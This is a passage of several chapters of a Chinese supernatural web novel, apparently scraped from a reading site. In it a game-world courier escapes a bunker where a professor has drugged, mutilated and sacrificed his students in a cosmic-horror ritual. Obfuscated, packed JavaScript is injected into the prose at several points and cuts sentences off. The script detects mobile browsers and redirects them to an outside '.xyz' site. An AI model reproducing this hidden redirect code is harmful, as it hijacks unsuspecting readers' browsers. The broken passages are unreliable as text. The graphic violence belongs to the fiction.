即便处于殖民战争时期，战争也只是发生在一百二十几年前的事。军事地堡里怎么会出现大量用晦涩奇怪的语言书写的文本呢？ 沃伦.卡特中途独自回地面，将这些书籍封存运回了泥呷市市立研究院，等待邀请到其他城市的专家齐聚再开展进一步的研究。等他回来后，则是所有人噩梦的开始。 半个月前他们发现每天晚上有一个同学消失，最初他们以为是同学自己发疯走丢，理由和他们为什么半个月以来无人在半夜被沃伦.卡特拖走人的动静惊醒一致—— 因为他们所有人在看见典籍上晦涩的文字后，逐渐变得不正常，白日他们醒来饱受精神的折磨，夜里极端的恐惧让他们沉沉睡去，陷进梦中另一种绝望。 白天教授会若无其事地督促他们开展研究工作，他们每个人都像被蛊惑一般丝毫不去思考找人。偶尔的清醒时分不过是另一层绝望的喘息。 沃伦.卡特从地面返回后，手里一直拿着一本书。他始终不愿告诉学生们书里写了什么，更不许自己以外的任何人触碰那本书。 事实上，即使他不说，沈观等人也不会去翻阅。在沈观的描述里，那是一本只要你看到它的封壳就会被其邪恶影响力吸走理性的灵魂的疯狂造物，它正是导致了眼前结果的书。 沈观猜测自己成为最后一个被沃伦.卡特砍掉四肢的人，是因为他是这批学生里掌握语言最多、研究成果最突出的。 沃伦.卡特需要他协助那古怪仪式的研究。他让沈观研究沙坑周围石碑上的花纹，那不是花纹，是沈观从未在别处见过的一种文字。 他必须承认自己无法理解那些文字，但对他来说，没法理解反而是一种幸运和仁慈。 所有学生里只有他参与到沃伦.卡特对那扇石门后沙坑的研究中。研究非常可怕，他感到教授被某种力量引诱着，他也许抗拒过，并非自愿继续从事相关的工作。 直到最后一天，他被砍下四肢，塞进后勤处的洞里才意识到不管曾经教授的理智多么强大，如今的沃伦.卡特已经彻底陷入疯狂。 在沈观被削成人棍的前一晚，沃伦曾和他坐在沙坑旁问他为什么有些尸体永远不会腐坏，可以僵直肿胀地浮上油腻的河流，淌入腐臭的黑色之海？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806249|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沃伦当时扭曲的面部表情让沈观感到不寒而栗，他好似知道一些超越了寻常人理解范围的恐怖。沈观为他感到害怕。 他们被教授亲切地喊做“祭品”。十一个人，加上汪橦，凑齐十二个人，对应十二块石碑。 沈观昏死过去醒来后听见地道里存在多余的脚步声，他想在自己死前尚存一丝力气时救其他与这项研究毫无干系的人一命。后面的事汪橦也知道了…… 看人交代得差不多，汪橦正要将笔记本电脑放入道具栏，屏幕上又浮现出几个字——“你为什么可以凭空将物品变不见？” 汪橦惊讶地发问：“你知道我的动作？”大世界的NPC无论是副本里还是副本外，随时都可能根据玩家需要，被游戏后台扭曲他们的认知，将玩家行为合理化，是以汪橦将收集到的东西放入道具栏时丝毫没有避开自己怀中的沈观。 正待细问，地面忽然爆发出强有力的震动，汪橦险些摔倒。她顾不得遮掩动作，直接将笔记本电脑一挥手放入道具栏中。 碎石和黄沙纷纷落下，一阵天旋地转中，汪橦和沈观所待的房间墙面龟裂，那些汪橦尚未来得及帮助的“尸体们”一股脑沿着伴着裂开的墙面出现的一条足够深的沟壑滚下去，通向传说中腐臭的黑色海洋。 汪橦跑回沃伦.卡特所在的房间，却发现地面只留下一滩血迹。果然这异常的震动与他逃不开关系！血迹向一个熟悉的方位延伸——正是石门后宏伟沙坑的所在。 汪橦追着血迹跑向沙坑，此时沙坑退去了埋葬多年的黄沙，露出腐烂的黑暗内心。黑色的散发着腐臭的沙子托着森森被锯断剔净的白色骸骨与敲开的白色颅骨！遗骨塞满了沙砾间阴森的缝隙！ 黑色的沙海中浮起一片白色的泡沫。深坑看不见底，远远超出了手电筒乃至汪橦取出的军用探照灯所能探测的范围，只留下无可名状的想象。 沈观的同学们在汪橦来不及施以援手的转瞬已经溺毙于这片白色的泡沫中，成为海底新的腐料，供养蕴藏其中的邪恶。 沃伦.卡特不省人事地趴在离石门最远的石碑脚下，他的手腕向前伸去，血在他身下汇聚成石碑上那个共同的古怪符号，而后像溪流般蜿蜒注入沙坑之中。 他身下的沙子仿佛活了起来，像黑色的蛆般疯狂蠕动吸吮他体内所有的血液，他被沙子推着担着最终同样滚进那片宏伟的深坑。 十二个石碑，十二个祭品，没有汪橦，沃伦.卡特哪怕自己死也要完成这个古怪的仪式。他成功了。 哪怕被卸掉行动能力，仍然会被头脑深处的疯狂与信仰催促着，爬到地狱深渊边亲吻那不可直视、不可描述造物的脚踝。 地底的空间仿佛打了个哆嗦，那远在视线外的穹顶竟隐约显出几分汪橦生前见过的古罗马、古希腊建筑的轮廓来，像是原本远在天边的海市蜃楼下一刻就逼近你，入侵了你所处的现实世界。 头顶被某种熟悉的黏糊阴沉的视线徘徊粘附，令人窒息的潮湿与闷热感从尾椎骨缓缓往上爬过汪橦的脊背、后颈，与她的头顶的那道目光交融。 汪橦暗道“不会吧”，直觉让她缓缓抬头。穹顶上，成百上千硕大如车轮般猩红的眼珠正目不转睛地注视着她。亲热的，怨恨的。 14. 墙中之蛛（5） 一、 我，沃伦.卡特，即将葬身于此可怖之地。一个月以来，我的精神时好时坏，我的理智在恐惧的消磨中流逝。作为曾经联邦第一学府的一级荣誉毕业生，特别学术贡献勋章获得者，落到这样荒诞的处境是我咎由自取。 沙咔拉洞穴的发现本就是一场我主导的谋划。半年前的某个黄昏，我拖着疲惫的身体从研究院下班回家，只想好好冲上一个热水澡然后睡到天亮。 只是当我从浴室出来，我赫然发现自己的手机屏幕上显示出一通正在接听的电话。我不知道为什么我的手机在无人按下接听键后仍然违背我的意志，自己接通了电话。我也不知道对面打电话的人是谁。 “喂，喂？”我带着疑惑不安的语气问对面的人。 没有人回答我。持续了十五秒后，电话挂断。 从那天起，每晚同样的时间，我都会接到一通来自同一个号码的来电。无论我是挂断、删除或是拉黑，我的手机会接收相同的来电并接听这通电话直到十五秒后自动挂断。面对我的沉默抑或是谩骂，电话里永远保持着沉默。 我报过警，警察一无所获。在接二连三的失望后，我不再去给他们添麻烦。 四个半月前，在持续了一个半月的骚扰后，电话那头终于传来的声音。相信我，没有人在这个世间听到过这样不似正常活物亦非大自然所能发出的声音。 这样的日子又持续了半个月，期间我疯狂地在研究所里和泥呷市图书馆查找古代资料。直到我意识到对面发出的是某种史前流传的旧人类中的不到一万人掌握的古语言。 现在还存在的旧人类聚集地，全世界不足五十个。我找到了离泥呷市最近的一处聚集地，那里的旧人类告诉我他们也无能为力。直到他们喊来了一位长老，那位长老听到我的复述后大惊失色，让我勿要再去了解。 可这项古语言的研究已然深深吸引了我。我要知道神秘电话的背后究竟是谁在捣鬼！我干脆请了年假，去到另一处聚集地，那是连旧人类中多数人都耻与为伍的一个族群。他们只有两百多人。 当地人告诉我，这是他们所信奉的造物主的语言。对方在说—— “沙......咔拉......” 二、 我是一个坚定的唯物主义者，如此惊世骇俗的说辞，可笑的信仰令我产生一定要找到沙咔拉，证明一切只是某种现象或是某个大型诈骗团体的恶作剧的信念。 回到泥呷市，我凭借搜集到的各类资料，成功定位到沙咔拉的大体位置。我万万没有想到，一切进展如此顺利。很快，市里发掘了沙咔拉。 一个月前，我带着十一位我的学生进入沙咔拉洞穴为市立研究院批准的课题进行更深入的研究。我们来到这里是为了获取一手资料。我们的确收获不菲，找到了曾经滞留的士兵们留下的日记、便条和大量文档记录。 研究进展顺利，直到半个月后我一个人在地道里闲逛，无意间我推开了一扇石门。我不是个会让感情支配理性的人，但当我看到被探照灯的光柱照亮的东西时，仍震惊不已。身为接受了最高水平的联邦文化教育的人，我本是不应表现出这般震惊的。 我所目睹的，乃是许多宏伟建筑的废墟，这些建筑巨大无朋、精巧无比，尽管建筑样式和保存状态各自不一，但所有建筑都极尽壮美。 看起来，这些建筑中的大部分都是以大理石建成，它们在探照灯的光柱下闪着白色的光辉。 然而我有幸目睹这壮观的奇迹仅仅三分钟，一切便消失不见，徒留十二块石碑立于此地腐烂的黑暗中。尽管屋顶崩落、立柱折断，但那不可能被任何事物抹去的、属于遥远得难以追忆的太古的光辉依然没有消逝。 虚空中我听见声音，听见回响，听见呼唤。我已推翻此前所有的自欺欺人的念头。我笃信我是被祂选中。 一股油然而生想要再次考察这座如神殿般精美宏大的建筑的急切攫住我全部的思绪，占据我所有的内心。那建筑后隐藏的伟大存在给予了我一个独特的机会——我们找到了记载有那些石碑以及沙坑底部裸露出的岩石上古怪符号的典籍。 我甚至找到了一本前人留下的笔记，根据内容来看，似乎是殖民战争期间那些修建地堡的军队长官之一撰写的。笔记的内容邪恶，让我恐惧。我开始退缩，想要让学生们返回地面。但第二天我便打定主意要解开这里的谜团。 三、 我的记忆一定不是客观、真实的，因为那之后发生的事情完全超越了自然的法则，所以它一定是我这疲惫头脑的主观、虚幻的想象。 自发现那些士兵留下的日记开始，我的一部分学生神经产生不适，难以继续研究。他们显然被日记上疯狂的呓语弄得神经紧张、噩梦连连，不少人看起来都变得茫然而迟钝。 在确认他们并非装病之后，我免了他们参与研究的部分责任。又因我找到的特别的笔记，我决定让这些学生发挥另外的作用，尽他们为沙咔拉研究的一份力。 近日夜间，一些受到刺激的学生的呻吟声、尖叫声令人恼火，为了不影响其他学生的研究热情，我决定将那些心理素质不佳的学生拿去做人牲，以完成笔记上记载的祭祀仪式。我以师长就应该负责照顾好大家的理由，每日在后勤的厨房里给所有人的饮用水注射了大剂量安眠药，确保夜晚他们能安睡。 我用原本作后勤用途的房间里多余的石圈供给人牲饲料，保证他们能够活到仪式最后完成的那一刻。我私心希望作为我的学生，可以和我一同见证伟大的荣光，未知造物的降临。 可惜我总是在犹豫，偶尔我的理智阻挠我——看看那些孩子们吧！你对他们都做了什么？！但他们也不过是一群勉强掌握丁点微不足道智慧的猪猡罢了，与那些四肢着地的低等动物有什么大的区别呢？ 所有人都会死，我们都将匍匐在祂衣摆的阴影下喘息求生，他们在为伟大的事业献身！我也会献身的，只是要在我完成我所追求终生的事业以后…… 四、 还差一个祭品，我就可以完成最后的步骤。于是我在手机APP上下了一份提前准备好物品的订单，当然我确实也将文件袋和多余的探照灯落在了家门口（在我中途回家那次）。我默默等待着外卖员的来临。 今天我不太走运。我并没有骗那个外卖员，我的车开一半漏油停在半道上。作为一名唯物主义者，我不认可这是否会是某种悲剧的预兆。 那个外卖员将我一路送回沙咔拉的时候，我心软了。我的意思是，不一定是她，我也可以自己成为最后一个献祭者。 但是她一看就是上等品，远比我一个长年伏案搞文字工作的研究员身强体健，我想象着她无助地被我做成人棍，血流满地的样子，一定会给仪式画上美妙圆满的一笔。 我感觉脑海里有另一个我，他正喋喋不休地劝说我放弃。他疯了，沃伦.卡特，那个世俗意义上的优秀儿，是个不敢窥视世界另一面真实的懦夫！ 方才他短暂占据我的头脑，劝那个外卖员回去，他要找我放在房间里的手机点确认订单。可惜那个外卖员不知道为何还是下了洞…… 我最器重的学生——沈观，我特意留在最后的祭品，竟然还有意志爬过来给外卖员通风报信，他难道以为我不知道他带着那个外卖员还能上哪去？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806250|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 失去转瞬即逝的时机后，我瘫倒在地。我费力挣扎着想要撑地爬起，却一次次倒进从我身体里流出的血泊中。 在双眼的血色中，我又看见近在咫尺的巨大无朋、精巧无比、极尽壮美的建筑。还有一片无边无际的黑色之海，它在歌唱，它在呼唤我走近。我要完成这个仪式，哪怕牺牲我自己！我要知道埋葬在沙咔拉之下无法描述的秘密！ 那些士兵的牺牲不能白费，他们用性命为我铺就了一条通往成功的大道。只要，只要我能做出关于沙咔拉和殖民战争独一无二的研究，并发表到顶刊上，不，不不，这份成果必然震惊世界！ 我再强调一遍，我并非为了自己的私欲，是神秘之所在、伟大之造物在呼唤我。我的研究是为了所有新人类的生存与发展！ 我已经明白最后一个祭品只能是我自己。 五、 我要死了。 眼前象牙白的祭品混杂着纯黑的沙，和着朱砂般的血，一丝丝缝隙都被填满，构成我从未见过的诡谲荒诞的图画。穹顶上浮现出的它一定是一座神殿，远古的威容，尽管经历了千年万年的岁月，依然是那样无瑕，是那样神圣不可侵犯，就这样矗立在漫漫的黑暗和茫茫的沉寂之中。 明知死亡就要临近，我还是无法控制自己的好奇之心，热切地望着头顶上方美丽而神秘的神殿。我，一个普通人，现在成了见识这座被永远遗忘的神殿以及建造它的伟大造物主的第一人了！ 我很遗憾，除我以外世界上所有历史研究的权威专家都不能对它进行详细的观察。 我体内的血液快速流失，我感到自己滚进了沙坑里，我静静平躺仰头注视着穹顶。在窸窸窣窣中，我的头颅最终被我的学生们的身体掩埋。 在陷入意识最后的混沌前，当我凝视那发出神秘光辉、若隐若现的石柱时，我仿佛看到了世间最为异常的东西——那东西太异常了，我无法在此加以名状。 我觉得我看见了一个东西在神殿里，它时而静止不动，时而正在移动。那是什么？这时，我又开始听到那种非现实的、跟我刚来时所听到的一模一样的呼唤声。 不知为何，我想到了我前几天问沈观的一个问题：如今，那些僵直肿胀的尸体为何能保持不朽，浮上油腻的河流，淌入腐臭的黑色之海？ 现下我又将随这片白色的浮沫埋葬在沙海何处？ 六、 沃伦.卡特在脑中嘲笑我说他知道我看见的东西不可能是真实的，他将怀着这具身体最后的理智与意志与我一道走进那无尽的沉默、无限的深渊之中。 那我隐约看见的同壁画上刻画的蜘蛛一般，在石柱后冒头的东西是什么呢？我无法知道答案。 生机快速流逝，我的眼前飞快地跑起走马灯。我的红发永远如太阳般闪耀，小时候的我曾听说人类谁能够成为太阳，谁就是新人类之后的超人。那将是取代我们新人类的另一个无比强大的存在，正如我们取代了四分之三的旧人类那样。 我跑回家告诉供我长大的母亲：“妈妈，我想成为太阳！” 母亲的回答我已经忘记，却仍然记得那天她温柔地抚摸我头顶时温热的手掌心与脸上挂着的和煦的微笑。母亲在我考上大学后不久得了一场重病，死掉了。 她最后的话说我是她心中永远的小太阳。我很想念她，我想完成我的研究，被记录在学术史上，成为真正的太阳，我想借助祂的力量带回我唯一的亲人。 我，沃伦.卡特，现在终于清醒于自己的谵妄。我回想起母亲对我亲切的昵称——“我可爱的小红雀鸟。”所以我正如飞鸟飞往太阳那般融化掉所有的翅膀吗？ 15. 墙中之蛛（完） 汪橦嘴唇颤抖，她尝试从喉咙深处不适地挤出一声微弱的：“嗨？” 李莉有没有回答她，她听不见也看不见。此刻她才真有几分见鬼了的实感。哪怕在这个副本见鬼也比见到昨天才被自己气冒烟的旧副本Boss好得多！ 汪橦转身从怀里掏出画有整个沙咔拉布局的地图，朝标记的武器库跑去。 仪式完成后的沙咔拉面目全非，地面湿淋淋地流着恶心的泥土浆液，地道两侧是覆盖着硝石盐壳的潮湿墙壁。 洞穴里各个房间微弱昏暗的电灯光似乎全熄了，只有汪橦手里的军用手电筒散发出的光线提醒着她前面的路线。 在这古怪的黑暗中，孤寂与荒诞占据了汪橦的心灵。她止不住地回想沙海退潮后从深处的地底升起的怪诞的圣坛与岩石。嶙峋的独石和刻满生动浮雕的坛壁，似乎具有某种令人毛骨悚然的个性。 地道两侧肉眼可见的房门正在腐烂，头顶的沙石大块坠落，虚无的阴影潜伏在门后更为幽深的黑暗里。什么也听不到，汪橦根本不知道李莉是否就跟在自己身后悄悄欣赏自己逃窜的模样，如猫捉鸟般戏弄自己。 沈观分明一直在她怀里，但汪橦却好像感知不到他的存在般低下头看他。眼前有缕缕黑雾环绕，汪橦眨眼频率加快，阴森骇人的幻想与错觉恍若在眼前快速闪过。 汪橦跑到原本应是武器库的房间时，武器库什么都不剩，只有充满咸腥味的潮湿与漆黑。汪橦茫然地踏入那片黑暗，如果她牺牲了本应返回地面的时间选择跑来武器库，却什么也得不到，汪橦相信她会葬身于这个副本中。 她往里走了几步，在黑暗中伸手摸索，忽然面前弹出系统提示—— 【已检测到半自动手枪九十支及子弹七千两百发，是否储存至道具栏？】 汪橦微微睁大双眼，眼前仍是漆黑，什么也看不见。她又将手往旁边一抹—— 【已检测到短突击步枪一百二十支及子弹两万发，是否储存至道具栏？】 “存存存！快！”汪橦大喜，迅速以一米为半径，将四周用手全部触碰了一遍。眼前不断弹出系统的蓝色光板—— 【已储存照明弹一百五十发。】 【已储存烟雾弹一百五十发。】 【已储存手榴弹三百发。】 【已储存工兵锹九十把。】 随着提示信息的不断弹出，整个地下洞穴宛如爆炸般更加猛烈地摇晃起来。 “这个好啊！”汪橦虽然不会玩枪，不爱户外活动，但她知道工兵锹是很多喜欢越野人士的车上必备装备。 好的工兵锹不但可以折叠，占口袋容量小，还因为手柄为类三角流线型，从而兼具有铲、镐、撬棍，锯、刀的功能。军队出产的工兵锹必然用好钢锻造，增加强度的同时还能抗磨损、抗腐蚀、耐高温。 【已储存军用水壶一百二十个。】 【已储存短匕一百二十把。】 由于被派来修建沙咔拉地堡的士兵大多属于工程兵兵种，加之这里的工程并未竣工和沙咔拉不处于前线战场的缘故，武器库的东西并不多，也没有特别高级的装备。但对于汪橦，已经绰绰有余。 地面泥浆散发的可怕的恶臭再次提醒了汪橦。 扫荡完武器库后，汪橦旋踵带着沈观朝最开始进来时的那处跑去。她已经记住地道来来回回的弯绕，所以不必看地图就能知道方向。 【位置：第一行第二格 物品名称：酒精 数量：1/99】 【位置：第一行第三格 物品名称：医用纱布 数量：2/99】 汪橦一边急速奔跑，一边脑内一想就伸手在虚空中掏出那一瓶酒精，说了句“忍一忍”便冲沈观前胸后背直接倒下去。 顾不得是否有刺激到沈观的伤口，更顾不上将伤口里夹杂的各种沙石剔除，汪橦用极其别扭的姿势将医用纱布缠住沈观与自己身上，最后用纱布打了个右腰前侧的结，才算是把沈观牢牢固定在自己身前，方便一会儿汪橦带着他爬登山绳回到地面。 拿到一堆军需品后，汪橦的理智似乎在无边的黑暗与漫长的寂静中恢复些许，起码她能感受到自己怀里真的有个人。 沈观也一直安安静静，没有发抖没有咬住汪橦的侧颈提醒她。他们似乎真的，完全被孤立在世界上的另一个空间。 对于在黑暗里目视一切的李莉而言，她的工作却开展不下去了。 “沙咔拉之密”的副本游戏已经进行过五十次以上，有时会是单人副本，有时会是团本。这个洞穴的原住民NPC会反复被洗去记忆、复活、参与其中。 沃伦.卡特以为自己是受到祂的指引，挖掘出沙咔拉背后秘密的特殊人士，从来没意识到自己被操纵，从他踏入沙咔拉以后无论是他的精神还是他的生命都再也得不到自由。 原住民NPC的可悲之处不正是自以为自己的行为被自己的意志清醒地驱动，却不知道他们所谓的主体性在绝对层面的强大力量面前一文不值。 李莉清醒又怎样呢，她不过是一个更高级的棋子罢了。连她的名号都是随副本更改的。她同样需要遵守副本规则，和玩家不同，她需要遵守的是后台游戏系统会提前告知她们的NPC兼Boss行为守则，例如—— 在这个副本里李莉受到的游戏限制为不得直接对玩家采用物理攻击，只能使用精神攻击。她是纳克亚之女，具有近乎和旧日支配者同等的力量。 她可以翕动口器，用嘶哑的声响缠缚玩家的神经，让他们崩溃痛哭，最终丧失理智，找不到出口，成为供奉纳克亚神殿的基座。 但这个副本里她不被允许缩小庞大的体型——如同她在“人生百态之外卖员七日谈”副本里那般小的体积，直接追击玩家。游戏总设计师方面要求让玩家在意识到自身存在的渺小卑微后自行了结他们无望的生命。 ……上司的天马行空，做下属的永远不要尝试去理解，白费。 李莉当然记得汪橦，严格来讲两人昨早才见过面。上一个副本失手以后，李莉被紧急调来这里工作。 李莉还记得总系统001转告她的话，如果这次副本再次失手，她就可以连降三级，被洗去所有记忆去做最苦最累的普通NPC。就像这个副本里那些人牲般，反复经历相同的痛苦。 她从未想过召唤纳克亚来帮她向游戏总设计师说好话，她清楚地知道纳克亚几千名子女中，自己是为数不多生生从人被转换成不人不鬼的模样。 她的后脖颈上留有一道名为“蜘蛛之印”的刻痕，一种恐怖的转化把她从人类社会里赶走，赶到腥臭的泥沼中，赶到无光的深海下，她不得不褪去她的人皮并转化成一只巨型蜘蛛。 从汪橦跑去武器库开始，李莉就开始制造怪响与黑暗的幻觉，让汪橦的视觉与触觉都受阻。没想到的是，汪橦除了茫然，她的精神状态如此良好以至于反馈到她的精神值面板上（由于副本特殊性，Boss看得见玩家精神值）竟然没有受到影响。李莉看到汪橦离0还有很长一截的精神条，一筹莫展。 李莉下定决心要间接物理攻击让汪橦狠狠用丛簇的节肢将神殿剜出一口巨大的缺口，沾满死亡气息的黑色海水奔涌而来，地道两侧摇摇欲坠的墙壁在水流的冲击下彻底毁坏。 大块的石头落入黑色的水流中气势汹汹地在地道间横冲直撞。如果被砸上一下，汪橦整个人只怕会摔倒在黑水里被石头压住无法呼吸，就这么淹死在水中。 殊不知，对于什么也听不见的汪橦，先前空空荡荡的黑暗反倒助长了她关于李莉是否黄雀在后、守株待兔、以静制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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汪橦这边情况不妙，黑水却是得逞后干劲更足地张牙舞爪扑上来，这下又不像胶质物，反而像散发臭味的沥青。汪橦方才手上被扯了那么一下，实则已脱了力，手腕处阵阵发麻。 她自知自己比不过黑水上涨的速度，干脆一边半垂下脑袋，对准沈观耳侧叹口气，一边将射钉枪对准洞穴上方开了一枪。 沈观只觉得汪橦此刻哪怕沙哑着叹气也宛如一个一往无前的勇士嘶吼出战歌，她说：“嗐，和我赌命吧。” 【检测到玩家汪橦触发初始副本奖励：】 【玩家每天有一次机会触发道具升级，成功率5%（x2）】 【普通道具：射钉枪升级为中级道具：钩爪射钉枪】 汪橦射出的不再是长钉而被变成一个铁爪形钩索，直冲上天，在汪橦看不到的地方抓住沙地上那块灰白色的石板。巨大的冲击和抓地力使得石板出现裂痕，不妨碍钩索顶端的铁钩死死扣入土层中。 在黑水不甘的咆哮嘶吼中，汪橦的脚踝差一点被黑水最后声嘶力竭的疯狂下伸长的蠕动的胶质物触手抓住。汪橦不敢再看下方，索性搂紧沈观，闭上眼体会加速超重的感觉。 超重后汪橦被反方向一个甩飞，她仍闭紧眼感受这份腾空感。沙子柔软地接住了她，她没有受伤，她背部着地平躺抱住了沈观。 睁开眼，泥呷市已来到了夜晚。外城区没有空气污染，深蓝色的天空中星星点点闪烁着银光。汪橦敞怀笑出了声。她脑海里嘀嘀响起系统提示音—— 【玩家：汪橦 主线任务：1/12（已完成） 支线任务：1/12（已完成） 副本奖励如下： 1.大世界通行货币：24000元 2.开启道具栏一行 注：道具栏最多可开放三行，每行共十格，每格最多存放同类物品999个，不同物品需分开存放进不同格中。 3.玩家每天有一次机会触发道具升级，成功率上升到25%】 地底下，虚空中，李莉正慌张地对某个方向低声下气解释着什么…… 16. 发现商机 目前汪橦通关了一个主线副本，一个支线副本，自此她已经解锁全部的道具栏。 好特快外卖员的工资由基础工资加上绩效考核后的奖金加上各自赚取的配送费构成。 她在进入第一个副本前工作了三天，加上第一个副本也是帮公司配送订单，所以汪橦总共有七天的基础工资。由于外卖员这份职业流动性大，所以她们的基础工资和配送费属于日结。 第一个副本开始前，队长曾许诺他们完成后有单独的集体奖和绩效奖，昨天集体奖的一小部分已经在和队长的电话结束后自动划到汪橦的工资卡上，一共是2250元。 加上七天基础工资2250元，和赚到的560元配送费，汪橦一周下来挣到了5060元。 第一个副本奖励了12000元，扣取汪橦买药的6000元还剩6000元，再加上这次24000元，汪橦副本奖励一共入账3万元。所以汪橦现在银行账户里总计3万5千60元。 汪橦在这个副本里没有受伤，除了奔跑过度可能导致明天的肌肉酸痛以外，她没有必要去大额支出金钱。清算了一遍奖励和财产，汪橦想起自己还多带了一个人出副本。 “我现在耳朵已经好了，我能听到你说话。你有家人吗？我可以帮你打电话，让你家里人接你去医院治疗。” 汪橦很感谢沈观在副本中对自己两次舍身帮助，但是她作为一个玩家，和这些当地原住民最好还是各自保持一个安全的社交距离。 由于汪橦是背部着地，她在脑海里的游戏面板上清点奖励时也没有坐起来，所以她仍然保持平躺的姿势。沈观相当于整个人伏在汪橦的身上。他似乎在这外面的新鲜空气下恢复了地下没有的冷静与残缺的神智。 听完汪橦的话，他缓缓抬起头，平静地说道：“我是孤儿，没有家人。我是从小到大受政府与好心的社会人士资助，读书读到大的。” 他似乎注意到汪橦面露难色，继续善解人意地说：“你愿意把我从那吃人的地方带出来，没有嫌弃我是个累赘，我已经很感谢你了。我不能再要求你为我做任何事。你把我载到医院门口就走吧。” “后续的治疗我可以自己想办法去打工赚钱、贷款还债。”他顿住，复而补充说：“我现在虽然买不起四肢再生的医疗服务，我可以凭脑子赚钱。只要小孩子们不嫌弃我是个断胳膊断腿的人棍，我可以给他们当家教。” 汪橦知道沈观在安慰自己，试图让自己不要因为没能更进一步地帮他而产生愧疚。但是他这个样子怎么可能像嘴里说的“当家教”！ 在沙咔拉的地下，一片黑暗中，汪橦尚看不分明。但在夜空下，汪橦却可以一清二楚地看见沈观倚靠着自己时他的胸前深可见骨的伤痕。 伤口裂处分明有大拇指盖般宽，细看伤痕内侧血肉绽裂，里面掺进粗糙的沙砾。胸腹、腰侧还有块状大小的瘀斑，像大块扩散生长的菌斑，正如沈观的同学们在潮湿腐烂的地下表现出来的那样，这个人在被真菌、植物慢慢覆盖遍全身。 大量的鲜血已经在地下流失掉，现在几乎停了下来。但沈观身上各类疤痕的颜色从鲜红变乌再到青紫色。这并不是好的征兆。 汪橦甚至通过白骨的缝隙看见沈观的肺部在一紧一松地轻轻呼吸，这样的伤是简单的消炎清创再包扎一下就可以处理好的吗？ 沈观一个孤儿，再怎么省吃俭用，他一个学文科类专业的，又不像理工科大学期间挣外快的活路更多，卡里的钱恐怕连身上这些伤的处理费都支付不起。 沈观说自己可以去“当家教”？他的四肢全无，哪个胆子大的小孩敢如此猎奇地选择他当着自己的面辅导课本？汪橦若是真按他说的，把他放医院门口就走，对方能不能靠自己活过一周都是个问题。 沈观看汪橦不语，以为她是觉得自己在试图唤起对方的同情以道德绑架她，又怕自己解释徒增对方的烦恼，想着干脆也不要汪橦再载他一程，径直扭着腰要从汪橦身上下去，自己随便找个方向爬。 他正要滑下汪橦衣服，腰侧就被汪橦用一只手轻按住推回原地。汪橦并未察觉沈观内心的九九，实际上她正在脑海中疯狂呼唤系统： “001，你能我大概估算一下如果要把沈观身上这些伤，不包括他的四肢再生，彻底治好，需要花多少钱吗？” 【玩家汪橦你好，经估算，医疗费总需三十万元。】 …… 汪橦想起奖励里关于“蜘蛛之印”的注意事项中有一句“不可交易”，便在脑中点击游戏商城的版块细细看起来。 之前系统告诉过她，她是唯一一个卡Bug从而滞留在大世界的玩家，因此游戏商城的道具购买的界面在汪橦这里全显示的灰色，即无法使用。 游戏虽然是智能的，但是游戏商城里的道具不是。道具除了物品，包括各项天赋技能。前者可以用金钱或是积分购买，后者只能用积分兑换。 假如允许汪橦购买游戏商城多样的道具，而汪橦在现实的大世界中掏出道具为非作歹，道具是无法判断出玩家是不是处在副本内的，因此一旦道具滥用会给游戏官方带去严重的后果。 所以总系统001干脆禁止汪橦使用游戏商城的界面栏进行购物操作。同样基于此汪橦每一个副本结束，001都没有进行玩家积分计算，因为她在通关前用不上积分。 其余玩家的积分除了最终通关返回地球时进行奖励兑换，还可以用以在玩家集散地的衣食住行、乃至娱乐等各项服务，并且用积分兑换天赋和技能。 但同样地，在无法保证汪橦是否在大世界里随意利用游戏里的天赋技能，这些在汪橦个人的游戏商城内通通显示灰色。 在游戏商城下方的横栏里，最后一个功能是玩家交易市场。玩家们可以在这里兑换不要的道具，日常物品等等。汪橦虽然同样无法在这里进行买东西的操作，但是她可以作为卖家单方面出售东西。 汪橦刚刚在商城首页看到了有各类枪支器械和子弹待售，天赋技能界面还有“器械精通（初级）”，“器械精通（中级）”到“器械精通（高级）”。商城似乎无论是物品，还是天赋技能都是每月限量出售，当月售完不补。那些枪支器械和子弹几乎全卖光了。 不过汪橦不清楚的是最高级的天赋技能只会出售一次，是这个游戏里的高端玩家哪怕拼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818347|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上所有的积分也要拿下的宝物。这也与她无关。 